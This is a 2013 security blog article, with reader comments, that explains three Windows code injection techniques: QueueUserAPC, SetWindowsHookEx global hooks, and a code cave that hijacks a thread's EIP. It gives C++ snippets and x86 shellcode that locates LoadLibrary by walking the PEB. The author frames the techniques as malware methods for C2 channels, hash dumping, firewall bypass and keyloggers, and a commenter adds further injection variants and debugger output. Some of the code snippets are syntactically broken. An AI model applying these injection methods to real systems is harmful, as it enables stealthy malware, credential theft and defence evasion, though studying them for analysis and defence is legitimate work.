Hacking

Code Injection Techniques

May 2, 2013 by ViperEye

DLL Injection using QueueUserAPC

We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into:

[cpp]
PROCESS_INFORMATION pi;
STARTUPINFOA Startup;
ZeroMemory(&Startup, sizeof(Startup));
ZeroMemory(&pi, sizeof(pi));
CreateProcessA("C:Windowsnotepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, &pi);
[/cpp]

Once the process is created, OpenProcess is called with the following arguments:

[cpp]
OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348);
[/cpp]

Once the process is opened with all access, memory can be allocated to it using VirtualAllocEx().

[cpp]
PVOID mem = VirtualAllocEx(Process_handle, NULL, 0x21, MEM_COMMIT, PAGE_READWRITE);
[/cpp]

Once the memory is allocated, the following data is injected into it using WriteProcessMemory().

[cpp]
WriteProcessMemory(/*hProcess*/00000070,/*Address*/mem,/*Buffer*/0012FD20, /*BytesToWrite */ 21 ,/*BytesWritten*/ 0012F9D0);
[/cpp]

The buffer copied contains the value: C:WINDOWSsystem32injecteddll.dll. This DLL is the one we are trying to inject into Notepad.exe.

After that, we use Thread32First and Thread32Next to get the thread ID of Notepad.exe. To do this, first a Call to CreateToolhelp32Snapshot is made:

[cpp]
HANDLE h = CreateToolhelp32Snapshot(/*process id */ 0 , /*flags*/TH32CS_SNAPALL);
[/cpp]

Next, the following code is executed to get the thread ID for the process Notepad.exe:

[cpp]
LPTHREADENTRY32 arr;
Thread32First(h, arr);
While(1)
{
if(Arr.
th32OwnerProcessID == process_id_of_notepad.exe)
{
HANDLE h = OpenThread (THREAD_ALL_ACCESS , 0, Arr.th32ThreadID);
HANDLE addr = GetProcessAdress("LoadLibraryA", GetModuleHandleA("Kernel32.dll"));
QueueUserAPC(addr, h, mem);
}
Else
Thread32Next(h, arr);
}
[/cpp]

Once the above code is executed, the API “QueueUserAPC” adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.

If an application queues an APC before the thread begins running, the thread begins by calling the APC function. Hence, once an APC is queued, the thread is resumed, and once that’s done, the APC is executed immediately.

The SetWindowsHookEx method

The SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don’t want. However, it is a little bit easier to use, and does have its own advantages, like being able to inject into every process on the system in one shot.

The SetWindowsHookEx() function is designed to allow you to “hook” Windows messages for a given thread. This requires that you inject a DLL into that process’s address space, so SetWindowsHookEx() handles all that for us. The DLL must have a function for the hook that it created though, otherwise it will crash.

[cpp]
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
[/cpp]

The variable idHook is just that, the ID of the message that we want to hook. We’ll be using WH_CBT message.

WH_CBT Installs a hook procedure that receives notifications useful to a computer-based training (CBT) application.

We’ll need to create a CBT hook procedure in our DLL, so that when the hook is called, we can handle it properly.

[cpp]
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
return CallNextHookEx(0, nCode, wParam, lParam);
};
[/cpp]

All we’re doing is calling the next hook in the chain of hooks that exist for this message. Getting back to the SetWindowsHookEx() function, the next parameter we see is lpfn.

lpfn is exactly as it sounds: “long pointer to function.” That’s a pointer to our CBT hook proc function. To get this, we’ll have to either hardcode the address, or load the DLL first ourselves. We’ll load the DLL using LoadLibrary() and use GetProcAddress() to get the address of our function.

[cpp]
HMODULE hDll;
unsigned long cbtProcAddr;
hDll = LoadLibrary("injected.dll");
cbtProcAddr = GetProcAddress(hDll, "CBTProc");
[/cpp]

Now, in cbtProcAddr, we have the address of our function. Parameter 3 of SetWindowsHookEx() is a handle to our DLL, and we’ve already obtained this in the process of getting the address of CBTProc. hDll is a handle to our DLL, returned by LoadLibrary.

Now, there is only one parameter left in the SetWindowsHookEx() function, the dwThreadId parameter. If you want to inject your DLL into every process on the system, which is useful for global function hooks, keyloggers, Trojans, rootkits, etc., you can simply specify 0 for this parameter. If you want to target a specific process, you’ll need to get the ID of one of its threads.

[cpp]
BOOL InjectDll(char *dllName)
{
HMODULE hDll;
unsigned long cbtProcAddr;
hDll = LoadLibrary(dllName);
cbtProcAddr = GetProcAddress(hDll, "CBTProc");
SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, 0 /*Specific process id */);
return TRUE;
}
[/cpp]

The code cave method

In this method, code is injected into the target process by allocating a chunk of memory in the target process. This code is responsible for loading the DLL into the process.

The following code will be used to do this:

[cpp]
pushfd
pushad
push RET_ADDR
push DLL_NAME
call LOADLIBRARY_LOCATE
call eax
// Restore the registers and flags
popad
popfd
// Return control to the hijacked thread
Ret
LOADLIBRARY_LOCATE:
Call find_kernel32
Push eax
Push HASH_of_LoadLibrary
Call find_function
/* EAX will hold the absolute address of LoadLibrary*/
find_kernel32:
push esi
xor eax, eax
mov eax, fs:[eax+0x30]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
pop esi
ret
find_function:
mov ebp, [esp+4]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edi, [esp + 0x8]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
find_function_finished:
ret
[/cpp]

Now, before injecting the code, the section DLL_NAME and RET_ADDR need to be patched with the address of the DLL’s filename and return address. This is the address where the thread should resume once the code stub has finished execution.

Now let’s move on to allocating memory in the process where the DLL needs to be injected. There are two kinds of memory that needs to be injected:

  1. Memory with read and write privileges: this memory will hold the name of the DLL file.
  2. Memory with read, write and execute privileges: this memory will hold the code stub that will load the DLL.

[cpp]
void *dllname, *code;
HANDLE process;

process = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, 342/*processed*/);
dllname = VirtualAllocEx(process, NULL, (strlen(DLLS_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);
code = VirtualAllocEx(process, NULL, codelength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, dllname, DLLS_NAME, strlen(DLLS_NAME), NULL);
[/cpp]

The next thing that we need to get is the context of one of the threads running in the process that needs to be injected with code. To find the thread, we can use the technique mentioned in the first section of the article “DLL Injection using QueueUserAPC,” which is using Thread32First and Thread32Next. Once we have the thread ID, we can use the following code to get and set the threads context:

[cpp]
HANDLE thread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, thread /*from Thread32First()*/);
[/cpp]

Once we have opened the handle to the thread, we need to suspend the thread and capture its context. The context of a thread is the state of its registers such as Integer Registers, Debug registers, control registers, and Floating point registers, but the one we are interested in is EIP.

Since the thread is suspended, we can change the EIP value and force it to continue its execution in a different path altogether. Here we’ll change its execution path to the location of our stub code:

[cpp]
SuspendThread(thread);
GetThreadContext(thread, &ctx);
oldIP = ctx.Eip;
ctx.Eip = (DWORD)code;
ctx.ContextFlags = CONTEXT_CONTROL;
//Patch RET_ADDR
memcpy((void *)((unsigned long)code_orig + 3), &oldIP, 4);
//Patch the DLL_NAME
memcpy((void *)((unsigned long)code_orig + 8), &dllname, 4);
WriteProcessMemory(hProcess, code, code_orig, stubLen, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
[/cpp]

The above code first suspends the thread and captures the context, and from the context it extracts the EIP, which is recorded as the point to resume execution when our code stub finishes. The new EIP is set as our injected code’s location.

The next step is to patch the marked locations with data such as the DLL filename address and return address.

We can see that the instruction push 0xAAAAAAAA is at offset 0x3 from the start (from the fig. below). This will hold the return address, and we can copy the value of oldIP to this location.

The second push, as you can see, holds the address of the DLL name, that is push 0xBBBBBBBB, and the offset where the value is placed is 0x8. The value dllname is copied at this location.


The next important part is to locate the address of LoadLibrary, which can vary because the ASLR in newer OS randomizes the load locations of kernel32.dll.

To get around that, the code “LOADLIBRARY_LOCATE” is added. This will locate the API within kernel32.dll and place a call to it. This routine is taken from Skape’s “Understanding Windows Shellcode” white paper.

When all the modifications are done, it will be injected into the process and then the context of the thread is set and its execution resumed.

Once the thread starts execution, the DLL will be loaded and after that process is finished, it will return back to the point it was suspended at and begin its execution there.

Conclusion

This article outlines few of the code injection techniques commonly used in modern malware to inject code into another processes for various purposes like creating a C2 channel (a command and control channel), dumping hashes for ex. hash dump softwares like pwdump etc.. These techniques are useful in bypassing protections like firewalls permitted programs (which contains the list of processes allowed to communicate with the internet).

One other thing that needs attention is the injected code, if it has errors or if it crashes, it can pull down the entire process. So the code needs to be written very carefully and tested thoroughly before injecting it into another process.

References

  1. http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces
  2. http://www.abysssec.com/blog/2009/01/03/how-bypass-firewall-with-process-injection/
  3. http://software.rkuster.com/articles/winspy.htm
Posted: May 2, 2013
Articles Author
ViperEye
View Profile

ViperEye works for a leading IT company and is deeply passionate about Information Security and Reverse Engineering. ViperEye research interests include Malware Analysis, specifically directed towards executable protections techniques. His other interests include product security, in particular: web applications, stand alone clients, etc.

2 responses to “Code Injection Techniques”

  1. Why make it so hard?

    In the QueueUserAPC method, you don’t need to use CreateToolHelp32Snapshot, or Thread32First. Just use the handle to thread returned in the PROCESS_INFORMATION structure passed to CreateProcess.

    And for those who are not aware, the APC fires when the thread first becomes alertable — which it just so happens that Windows makes the thread alertable on purpose, before entry point is called on the initial thread. Otherwise you’d have to wait until the thread itself became alertable (via SleepEx(n, TRUE), or an alertable Wait function), or until it exited at which point any queued APCs will run.

    QueueUserAPC can be a bit tricky with WOW64, etc., but you can do it.

    “Code Cave” method: I can’t think of any reason why you’d want to do that unless you needed to target a specific thread to load you DLL. And if you did, you’ve got a 50/50 chance of crashing the target or causing it to malfunction. This is because your redirect code is going to change things like the Last Error value, and then expect that whatever was next to execute when the thread resumed isn’t going to care about that.

    Because you are working on a suspended thread, it is very likely that this thread has just entered or left the kernel via/from a system call. That means whatever the call was will probably have set the thread’s last error value, and it will be checked. Let’s say that the thread had called CreateFile to open a file, but the file didn’t exist. Now, on resume the result of CreateFile is eax — let’s say it is -1 because the operation failed, and the last error value is stored in the TEB. But you then run your code which jumps back to just after the CreateFile call. Your DLL loads successfully, but you’ve destroyed the error value stored in the TEB, replacing it with ERROR_SUCCESS. Now, the code you return to might do this:

    if(GetLastError() == ERROR_SUCCESS)…

    Well, you just busted that! Whatever it was supposed to do, it isn’t going to do anymore.

    Finally, why not the easiest method of all? CreateRemoteThread with the address of LoadLibraryA/W as the thread start address, and the thread argument a pointer to the name of the library to load from where you wrote in the target?

    Or a simple variation on that where you generate code on-the-fly that calls LoadLibraryEx to supply flags that help load dependent DLLs using the right path, and then that cleans itself up…

    Here is an example from the debugger — the only thing you’d want to do differently in code, would be to change the RtlExitUserThread to a VirtualFree that then returned to RtlExitUserThread — very easy to setup:

    Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
    Copyright (c) Microsoft Corporation. All rights reserved.

    CommandLine: C:WindowsSystem32notepad.exe
    Symbol search path is: srv*c:sym*http://msdl.microsoft.com/download/symbols
    Executable search path is:
    ModLoad: 00000000`ff5c0000 00000000`ff5f5000 notepad.exe
    ModLoad: 00000000`77c70000 00000000`77e19000 ntdll.dll
    ModLoad: 00000000`77a50000 00000000`77b6f000 C:Windowssystem32kernel32.dll
    ModLoad: 000007fe`fdd80000 000007fe`fddeb000 C:Windowssystem32KERNELBASE.dll
    ModLoad: 000007fe`fe130000 000007fe`fe20b000 C:Windowssystem32ADVAPI32.dll
    ModLoad: 000007fe`fdf60000 000007fe`fdfff000 C:Windowssystem32msvcrt.dll
    ModLoad: 000007fe`ffac0000 000007fe`ffadf000 C:WindowsSYSTEM32sechost.dll
    ModLoad: 000007fe`fe000000 000007fe`fe12d000 C:Windowssystem32RPCRT4.dll
    ModLoad: 000007fe`fded0000 000007fe`fdf37000 C:Windowssystem32GDI32.dll
    ModLoad: 00000000`77b70000 00000000`77c6a000 C:Windowssystem32USER32.dll
    ModLoad: 000007fe`ff7a0000 000007fe`ff7ae000 C:Windowssystem32LPK.dll
    ModLoad: 000007fe`ff9f0000 000007fe`ffab9000 C:Windowssystem32USP10.dll
    ModLoad: 000007fe`fe630000 000007fe`fe6c7000 C:Windowssystem32COMDLG32.dll
    ModLoad: 000007fe`ff8f0000 000007fe`ff961000 C:Windowssystem32SHLWAPI.dll
    ModLoad: 000007fe`fc410000 000007fe`fc604000 C:WindowsWinSxSamd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9acCOMCTL32.dll
    ModLoad: 000007fe`fea10000 000007fe`ff798000 C:Windowssystem32SHELL32.dll
    ModLoad: 000007fe`f7510000 000007fe`f7581000 C:WindowsSystem32WINSPOOL.DRV
    ModLoad: 000007fe`ffae0000 000007fe`ffce3000 C:Windowssystem32ole32.dll
    ModLoad: 000007fe`fe730000 000007fe`fe807000 C:Windowssystem32OLEAUT32.dll
    ModLoad: 000007fe`fca30000 000007fe`fca3c000 C:WindowsSystem32VERSION.dll
    (1df4.15f8): Break instruction exception – code 80000003 (first chance)
    ntdll!LdrpDoDebuggerBreak+0x30:
    00000000`77d1cb60 cc int 3
    0:000> .load RevEngX
    RevEngX Reverse Engineering Extensions version: 1.0.0.12
    Copyright © 2012, Andrew L. Sandoval. All rights reserved.

    Redistribution and use of this software (RevEngX.dll and any accompany documentation)
    in binary form, without modification, is permitted provided that the following conditions
    are met:

    1. Redistributions must retain or reproduce the above copyright notice, this list of
    conditions and the following disclaimer in the documentation and/or other materials
    provided with the distribution.
    2. The name of the copyright holder may NOT be used to endorse or promote products
    that incorporate or bundle this software without specific prior written permission.
    3. As this software may be used for analysis and reverse engineering of third party
    software, binary files, and object code, the user of this software assumes full
    responsibility for compliance with all applicable license agreements and copyright
    laws pertaining to such software and agrees to indemnify the copyright holder of this
    software, for any and all damages and legal fees arising from failure to abide by
    applicable copyright laws and license agreements while utilizing (or for the misuse of)
    this software.

    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
    SHALL THE COPYRIGHT HOLDER OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCURMENT OF SUBSTITUTE GOODS OR
    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
    DEALINGS IN THE SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

    0:000> !callfn -noexec LoadLibraryExW(L”c:\temp\mydll.dll”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH)
    NULL is now 0x00
    Absolute arg NULL = 0000000000000000
    LOAD_WITH_ALTERED_SEARCH_PATH is now 0x08
    Absolute arg LOAD_WITH_ALTERED_SEARCH_PATH = 0000000000000008
    VirtualAlloc returned 00000000000d0000 [Last Error Value: 0]
    Data @ 00000000000d0000:db d0000 d0050

    00000000`000d0000 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
    00000000`000d0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
    00000000`000d0020 63 00 3a 00 5c 00 74 00-65 00 6d 00 70 00 5c 00 c.:..t.e.m.p..
    00000000`000d0030 6d 00 79 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 m.y.d.l.l…d.l.
    00000000`000d0040 6c 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 l……………
    00000000`000d0050 00 .
    Code @ 00000000000d1000:
    u d1000 d1049

    00000000`000d1000 4883ec20 sub rsp,20h
    00000000`000d1004 48b920000d0000000000 mov rcx,0D0020h
    00000000`000d100e 48ba0000000000000000 mov rdx,0
    00000000`000d1018 49b80800000000000000 mov r8,8
    00000000`000d1022 e80d569977 call kernel32!LoadLibraryExW (00000000`77a66634)
    00000000`000d1027 4883c420 add rsp,20h
    00000000`000d102b 48b910000d0000000000 mov rcx,0D0010h
    00000000`000d1035 488901 mov qword ptr [rcx],rax
    00000000`000d1038 49b93069cb7700000000 mov r9,offset ntdll!RtlExitUserThread (00000000`77cb6930)
    00000000`000d1042 4951 push r9
    00000000`000d1044 e9e7f4be77 jmp ntdll!DbgBreakPoint (00000000`77cc0530)
    Argument 0 buffer dump:
    00000000`000d0020 63 00 3a 00 5c 00 74 00-65 00 6d 00 70 00 5c 00 c.:..t.e.m.p..
    00000000`000d0030 6d 00 79 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 m.y.d.l.l…d.l.
    00000000`000d0040 6c 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 l……………
    00000000`000d0050 00

    Note: Leave off the -noexec if you actually want that to run. The debugger extension above takes care of the VirtualFree, that’s why it doesn’t generate code with the bounce.

    The debugger output above is for x64 targets. If you want to see the same thing with x86 targets, use an x86 version of Windbg, with the RevEngX (http://www.revengx.com/) extension.

    -A. Sandoval

    • ViperEye says:

      I suppose i shd have mentioned this earlier, these extracts were taken from malwares that i had analysed earlier, CreateRemoteThread was also used in some of the malware to execute code in other processes, and that too very frequently and is also well known. But the techniques mentioned above are seen very rarely compared to that. And also All your arguments are valid. Especially the part about handle to be used from CreateProcess(), that was odd, bu this is how it was written.

Leave a Reply

Your email address will not be published. Required fields are marked *